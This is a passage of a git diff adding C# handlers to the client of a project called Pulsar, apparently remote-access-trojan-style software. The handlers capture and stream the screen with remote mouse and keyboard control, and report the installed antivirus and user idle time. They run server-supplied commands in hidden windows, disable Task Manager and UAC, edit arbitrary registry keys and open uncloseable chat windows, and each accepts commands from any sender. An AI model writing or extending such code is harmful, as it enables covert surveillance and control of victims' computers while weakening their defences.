GetPreviewImage; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPreviewImage msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPreviewImage message) + { + Debug.WriteLine("Capturing single desktop image"); + + _displayIndex = message.DisplayIndex; + _clientMain = client; + + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + CaptureAndSendScreen(); + } + + private void CaptureAndSendScreen() + { + try + { + _desktop = ScreenHelperCPU.CaptureScreen(_displayIndex, true); + + if (_desktop == null) + { + Debug.WriteLine("Error capturing screen: Bitmap is null"); + return; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, stream); + _clientMain.Send(new GetPreviewResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + CPU = HardwareDevices.CpuName, + GPU = HardwareDevices.GpuNames, + RAM = HardwareDevices.TotalPhysicalMemory.ToString(), + Uptime = SystemHelper.GetUptime(), + AV = SystemHelper.GetAntivirus(), + MainBrowser = SystemHelper.GetDefaultBrowser(), + HasWebcam = (WebcamHelper.GetWebcams()?.Length > 0), + AFKTime = ActivityDetection.UserIdleTime().ToString() + }); + + _streamCodec = null; + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing screen: {ex.Message}"); + } + finally + { + if (_desktopData != null) + { + _desktop.UnlockBits(_desktopData); + _desktopData = null; + } + _desktop?.Dispose(); + _desktop = null; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/QueryHandler.cs b/Pulsar.Client/Messages/QueryHandler.cs new file mode 100644 index 0000000..67c030e --- /dev/null +++ b/Pulsar.Client/Messages/QueryHandler.cs @@ -0,0 +1,100 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.Monitoring.Query; +using Pulsar.Common.Models.Query.Browsers; +using Pulsar.Common.Messages.Monitoring.Query.Browsers; + +namespace Pulsar.Client.Messages +{ + class QueryHandler + { + public bool CanExecute(IMessage message) => message is GetBrowsers; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetBrowsers msg: + Execute(sender, msg); + break; + } + } + + + private void Execute(ISender client, GetBrowsers message) + { + // get the browsers on the users computer + var browsers = new List(); + + using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet")) + { + if (hklmKey != null) + { + foreach (var browserKey in hklmKey.GetSubKeyNames()) + { + using (var browserProps = hklmKey.OpenSubKey(browserKey)) + { + var browserName = browserProps?.GetValue(null)?.ToString(); + using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command")) + { + var command = commandProps?.GetValue(null)?.ToString(); + var exePath = GetExecutablePath(command); + if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath)) + { + browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath }); + } + } + } + } + } + } + + using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet")) + { + if (hkcuKey != null) + { + foreach (var browserKey in hkcuKey.GetSubKeyNames()) + { + using (var browserProps = hkcuKey.OpenSubKey(browserKey)) + { + var browserName = browserProps?.GetValue(null)?.ToString(); + using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command")) + { + var command = commandProps?.GetValue(null)?.ToString(); + var exePath = GetExecutablePath(command); + if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath)) + { + browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath }); + } + } + } + } + } + } + + // remove dups + browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList(); + + client.Send(new GetBrowsersResponse { QueryBrowsers = browsers }); + } + + private string GetExecutablePath(string command) + { + if (string.IsNullOrEmpty(command)) + { + return null; + } + + var match = System.Text.RegularExpressions.Regex.Match(command, @"(?""[^""]+\.exe""|\S+\.exe)"); + return match.Success ? match.Groups["path"].Value.Trim('"') : null; + } + } +} diff --git a/Pulsar.Client/Messages/QuickCommandHandler.cs b/Pulsar.Client/Messages/QuickCommandHandler.cs new file mode 100644 index 0000000..e29986b --- /dev/null +++ b/Pulsar.Client/Messages/QuickCommandHandler.cs @@ -0,0 +1,84 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.QuickCommands; +using System.Diagnostics; +using Pulsar.Client.Helper.TaskManager; +using Pulsar.Client.Helper.UAC; + +namespace Pulsar.Client.Messages +{ + + public class QuickCommandHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSendQuickCommand msg: + Execute(sender, msg); + break; + + case DoEnableTaskManager msg: + Execute(sender, msg); + break; + + case DoDisableTaskManager msg: + Execute(sender, msg); + break; + + case DoDisableUAC msg: + Execute(sender, msg); + break; + + case DoEnableUAC msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoSendQuickCommand message) + { + client.Send(new SetStatus { Message = "Successful Quick Command" }); + + Debug.WriteLine(message.Host + " " + message.Command); + + //execute a new powershell with the command + Process process = new Process(); + ProcessStartInfo startInfo = new ProcessStartInfo(); + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.FileName = message.Host; + startInfo.Arguments = message.Command; + process.StartInfo = startInfo; + process.Start(); + } + + private void Execute(ISender client, DoEnableTaskManager message) + { + client.Send(new SetStatus { Message = "Task Manager Enabled" }); + TaskManager.Enable(); + } + + private void Execute(ISender client, DoDisableTaskManager message) + { + client.Send(new SetStatus { Message = "Task Manager Disabled" }); + TaskManager.Disable(); + } + + private void Execute(ISender client, DoDisableUAC message) + { + client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" }); + UACToggle.DisableUAC(); + } + + private void Execute(ISender client, DoEnableUAC message) + { + client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" }); + UACToggle.EnableUAC(); + } + } +} diff --git a/Pulsar.Client/Messages/RegistryHandler.cs b/Pulsar.Client/Messages/RegistryHandler.cs new file mode 100644 index 0000000..ba903c4 --- /dev/null +++ b/Pulsar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,230 @@ +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Client.Registry; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RegistryEditor; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; + +namespace Pulsar.Client.Messages +{ + public class RegistryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + } +} diff --git a/Pulsar.Client/Messages/RemoteChatHandler.cs b/Pulsar.Client/Messages/RemoteChatHandler.cs new file mode 100644 index 0000000..5708a28 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteChatHandler.cs @@ -0,0 +1,111 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.RemoteChat; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class RemoteChatHandler : IMessageProcessor + { + private static Thread _chatThread; + + public bool CanExecute(IMessage message) => message is DoChat || message is DoKillChatForm || message is DoStartChatForm || message is DoChatAction; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoChat Msg: + HandleDoChatMessage(sender, Msg); + break; + case DoStartChatForm Msg: + HandleDoChatStart(sender, Msg); + break; + case DoKillChatForm Msg: + HandleDoChatStop(sender, Msg); + break; + case DoChatAction Msg: + HandleChatAction(sender, Msg); + break; + } + } + + public void HandleChatAction(ISender sender, DoChatAction msg) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.txtMessages.Clear(); + }); + } + } + + public static void HandleDoChatStart(ISender client, DoStartChatForm getChat) + { + + if (_chatThread != null && _chatThread.IsAlive) + return; + + _chatThread = new Thread(() => + { + var frmChat = new FrmRemoteChat(client); + frmChat.Text = getChat.Title; + frmChat.txtMessages.Text = getChat.WelcomeMessage; + if (getChat.DisableClose == true) + { + frmChat.ControlBox = false; + } + frmChat.txtMessage.Enabled = getChat.DisableType; + + Application.Run(frmChat); + frmChat.TopMost = getChat.TopMost; + frmChat.BringToFront(); + }); + _chatThread.SetApartmentState(ApartmentState.STA); + _chatThread.Start(); + } + + public static void HandleDoChatMessage(ISender client, DoChat packet) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.AddMessage(packet.User, packet.PacketDms); + }); + } + } + + public static void HandleDoChatStop(ISender client, DoKillChatForm packet) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.Active = false; + frmChat.Close(); + }); + } + + if (_chatThread != null && _chatThread.IsAlive) + { + _chatThread.Join(500); + _chatThread = null; + } + else + { + _chatThread = null; + } + } + } +} diff --git a/Pulsar.Client/Messages/RemoteDesktopHandler.cs b/Pulsar.Client/Messages/RemoteDesktopHandler.cs new file mode 100644 index 0000000..337c8e3 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,1005 @@ +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; +using System.Threading; +using System.Threading.Tasks; +using System.Diagnostics; +using Pulsar.Common.Messages.Monitoring.RemoteDesktop; +using Pulsar.Common.Messages.Other; +using System.Collections.Concurrent; +using System.Runtime.InteropServices; +using Pulsar.Client.Config; +using System.Collections.Generic; +using Pulsar.Client.Utilities; +using System.Linq; +using Pulsar.Common.Messages.Monitoring.VirtualMonitor; + +namespace Pulsar.Client.Messages +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASS + { + public uint style; + public WndProcDelegate lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszClassName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BLENDFUNCTION + { + public byte BlendOp; + public byte BlendFlags; + public byte SourceConstantAlpha; + public byte AlphaFormat; + } + + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int x; + public int y; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SIZE + { + public int cx; + public int cy; + } + + public delegate IntPtr WndProcDelegate(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + private const int CURSOR_SHOWING = 0x00000001; + [StructLayout(LayoutKind.Sequential)] + private struct CURSORINFO_NATIVE + { + public int cbSize; + public int flags; + public IntPtr hCursor; + public POINT ScreenPosition; + } + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetCursorInfo(out CURSORINFO_NATIVE pci); + [DllImport("user32.dll")] + private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); + + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private int _displayIndex = 0; + private ISender _clientMain; + private Thread _captureThread; + private CancellationTokenSource _cancellationTokenSource; + + private ScreenOverlay _screenOverlay; + + private ScreenOverlay ScreenOverlay + { + get + { + if (_screenOverlay == null) + { + _screenOverlay = new ScreenOverlay(); + } + return _screenOverlay; + } + } + + private bool _useGPU = false; + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + private const int MAX_BUFFER_SIZE = 3; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + private int _frameCount = 0; + private float _lastFrameRate = 0f; + + // drawing commands + private readonly ConcurrentQueue _drawingQueue = new ConcurrentQueue(); + private readonly ManualResetEvent _drawingSignal = new ManualResetEvent(false); + private Thread _drawingThread; + private bool _drawingThreadRunning = false; + + + private IntPtr _linearFrameBuffer = IntPtr.Zero; + private int _linearBufferSize = 0; + private int _linearWidth = 0, _linearHeight = 0; + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is DoDrawingEvent || + message is GetMonitors || + message is DoInstallVirtualMonitor || + message is DoUninstallVirtualMonitor || + message is StartProcessOnMonitor; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: + Execute(sender, msg); + break; + case DoMouseEvent msg: + Execute(sender, msg); + break; + case DoKeyboardEvent msg: + Execute(sender, msg); + break; + case DoDrawingEvent msg: + _drawingQueue.Enqueue(() => Execute(sender, msg)); + _drawingSignal.Set(); + EnsureDrawingThreadIsRunning(); + break; + case GetMonitors msg: + Execute(sender, msg); + break; + case DoInstallVirtualMonitor msg: + Execute(sender, msg); + break; + case DoUninstallVirtualMonitor msg: + Execute(sender, msg); + break; + case StartProcessOnMonitor msg: + Execute(sender, msg); + break; + } + } + + private void EnsureDrawingThreadIsRunning() + { + if (!_drawingThreadRunning) + { + _drawingThreadRunning = true; + _drawingThread = new Thread(DrawingThreadProc); + _drawingThread.IsBackground = true; + _drawingThread.Start(); + } + } + + private void DrawingThreadProc() + { + try + { + while (_drawingThreadRunning) + { + _drawingSignal.WaitOne(); + + while (_drawingQueue.TryDequeue(out Action drawAction)) + { + try + { + drawAction(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing drawing action: {ex.Message}"); + } + } + + _drawingSignal.Reset(); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in drawing thread: {ex.Message}"); + } + finally + { + _drawingThreadRunning = false; + } + } + + private void Execute(ISender client, GetDesktop message) + { + if (message.Status == RemoteDesktopStatus.Stop) + { + StopScreenStreaming(); + } + else if (message.Status == RemoteDesktopStatus.Start) + { + StartScreenStreaming(client, message); + } + else if (message.Status == RemoteDesktopStatus.Continue) + { + // server is requesting more frames + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartScreenStreaming(ISender client, GetDesktop message) + { + Debug.WriteLine("Starting remote desktop session"); + + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + _displayIndex = message.DisplayIndex; + _clientMain = client; + + _useGPU = message.UseGPU; + Debug.WriteLine("Use GPU: " + _useGPU); + + // clear any pending frame requests and existing frames + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token)) + { + IsBackground = true, + Priority = ThreadPriority.Highest, + Name = "ScreenCaptureThread" + }; + _captureThread.Start(); + } + } + + private void StopScreenStreaming() + { + Debug.WriteLine("Stopping remote desktop session"); + + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + _frameRequestEvent.Set(); // wake up thread + _captureThread.Join(); + _captureThread = null; + } + + if (_desktop != null) + { + if (_desktopData != null) + { + try + { + _desktop.UnlockBits(_desktopData); + } + catch + { + } + _desktopData = null; + } + _desktop.Dispose(); + _desktop = null; + } + + if (_streamCodec != null) + { + _streamCodec.Dispose(); + _streamCodec = null; + } + + // clean up gpu bs + if (_useGPU) + { + ScreenHelperGPU.CleanupResources(); + } + + // clear the buff + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken) + { + Debug.WriteLine("Starting simplified buffered capture loop"); + + try + { + Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.High; + Debug.WriteLine("Set process priority to High for optimal capture performance"); + } + catch (Exception ex) + { + Debug.WriteLine($"Could not set process priority: {ex.Message}"); + } + + _stopwatch.Start(); + + bool success = SetThreadDesktop(Settings.OriginalDesktopPointer); + if (!success) + { + Debug.WriteLine($"Failed to set capture thread to original desktop: {Marshal.GetLastWin32Error()}"); + return; + } + + var lastCaptureTime = DateTime.UtcNow; + const double targetFps = 60.0; + const double minFrameMs = 500.0 / targetFps; // ~8.33ms + + while (!cancellationToken.IsCancellationRequested) + { + try + { + if (_pendingFrameRequests <= 0) + { + Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}"); + _frameRequestEvent.WaitOne(500); + + if (cancellationToken.IsCancellationRequested) + break; + continue; + } + + // 60 fps throttle give or take + if (_useGPU) + { + var now = DateTime.UtcNow; + var elapsedMs = (now - lastCaptureTime).TotalMilliseconds; + if (elapsedMs < minFrameMs) + { + int sleep = (int)Math.Max(1, minFrameMs - elapsedMs); + Thread.Sleep(sleep); + lastCaptureTime = DateTime.UtcNow; + } + else + { + lastCaptureTime = now; + } + } + else + { + lastCaptureTime = DateTime.UtcNow; + } + + // capture frame and add to buffer + byte[] frameData = CaptureFrame(); + if (frameData != null) + { + if (_frameBuffer.Count >= MAX_BUFFER_SIZE) + { + _frameBuffer.TryDequeue(out _); // Remove oldest frame + } + + _frameBuffer.Enqueue(frameData); + + // increment frame counter for statistics + _frameCount++; + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _lastFrameRate = _frameCount; + _frameCount = 0; + _stopwatch.Restart(); + } + } + + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + var isLastFrame = Interlocked.Decrement(ref _pendingFrameRequests) == 0; + var capturedFrame = frameToSend; + + Task.Run(() => SendFrameToServer(capturedFrame, isLastFrame)); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in buffered capture loop: {ex.Message}"); + Thread.Sleep(100); // Avoid tight loop in case of repeated errors + } + } + + Debug.WriteLine("Buffered capture loop ended"); + } + + private MemoryStream _reusableStream; + + private MemoryStream ReusableStream + { + get + { + if (_reusableStream == null) + { + _reusableStream = new MemoryStream(); + } + return _reusableStream; + } + } + + private byte[] CaptureFrame() + { + try + { + if (_useGPU && ScreenHelperGPU.TryCaptureRawFrame(_displayIndex, out var mapped)) + { + using (mapped) + { + if (ReusableStream.Length > 0) + { + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + } + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + + IntPtr srcPtr; + int expectedStride = mapped.Width * 4; + if (mapped.RowPitch == expectedStride) + { + srcPtr = mapped.DataPointer; + } + else + { + EnsureLinearBuffer(mapped.Width, mapped.Height); + unsafe + { + byte* src = (byte*)mapped.DataPointer.ToPointer(); + byte* dst = (byte*)_linearFrameBuffer.ToPointer(); + for (int y = 0; y < mapped.Height; y++) + { + System.Buffer.MemoryCopy(src, dst, expectedStride, expectedStride); + src += mapped.RowPitch; + dst += expectedStride; + } + } + srcPtr = _linearFrameBuffer; + } + + TryDrawCursorOnBuffer(srcPtr, mapped.Width, mapped.Height, expectedStride, _displayIndex); + + _streamCodec.CodeImage(srcPtr, + new Rectangle(0, 0, mapped.Width, mapped.Height), + new Size(mapped.Width, mapped.Height), + mapped.PixelFormat, + ReusableStream); + + return ReusableStream.ToArray(); + } + } + + if (_useGPU) + { + Thread.Sleep(2); + return null; + } + + _desktop = _useGPU ? ScreenHelperGPU.CaptureScreen(_displayIndex) : ScreenHelperCPU.CaptureScreen(_displayIndex); + + if (_desktop == null) + { + Debug.WriteLine("Error capturing screen: Bitmap is null"); + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadOnly, processedBitmap.PixelFormat); + + if (ReusableStream.Length > 0) + { + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + } + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, ReusableStream); + + return ReusableStream.ToArray(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing frame: {ex.Message}"); + return null; + } + finally + { + if (_desktopData != null && _desktop != null) + { + try { _desktop.UnlockBits(_desktopData); } catch { } + } + _desktopData = null; + _desktop?.Dispose(); + _desktop = null; + } + } + + private void EnsureLinearBuffer(int width, int height) + { + int needed = width * height * 4; + if (needed != _linearBufferSize) + { + if (_linearFrameBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(_linearFrameBuffer); + _linearFrameBuffer = IntPtr.Zero; + } + _linearFrameBuffer = Marshal.AllocHGlobal(needed); + _linearBufferSize = needed; + _linearWidth = width; _linearHeight = height; + } + 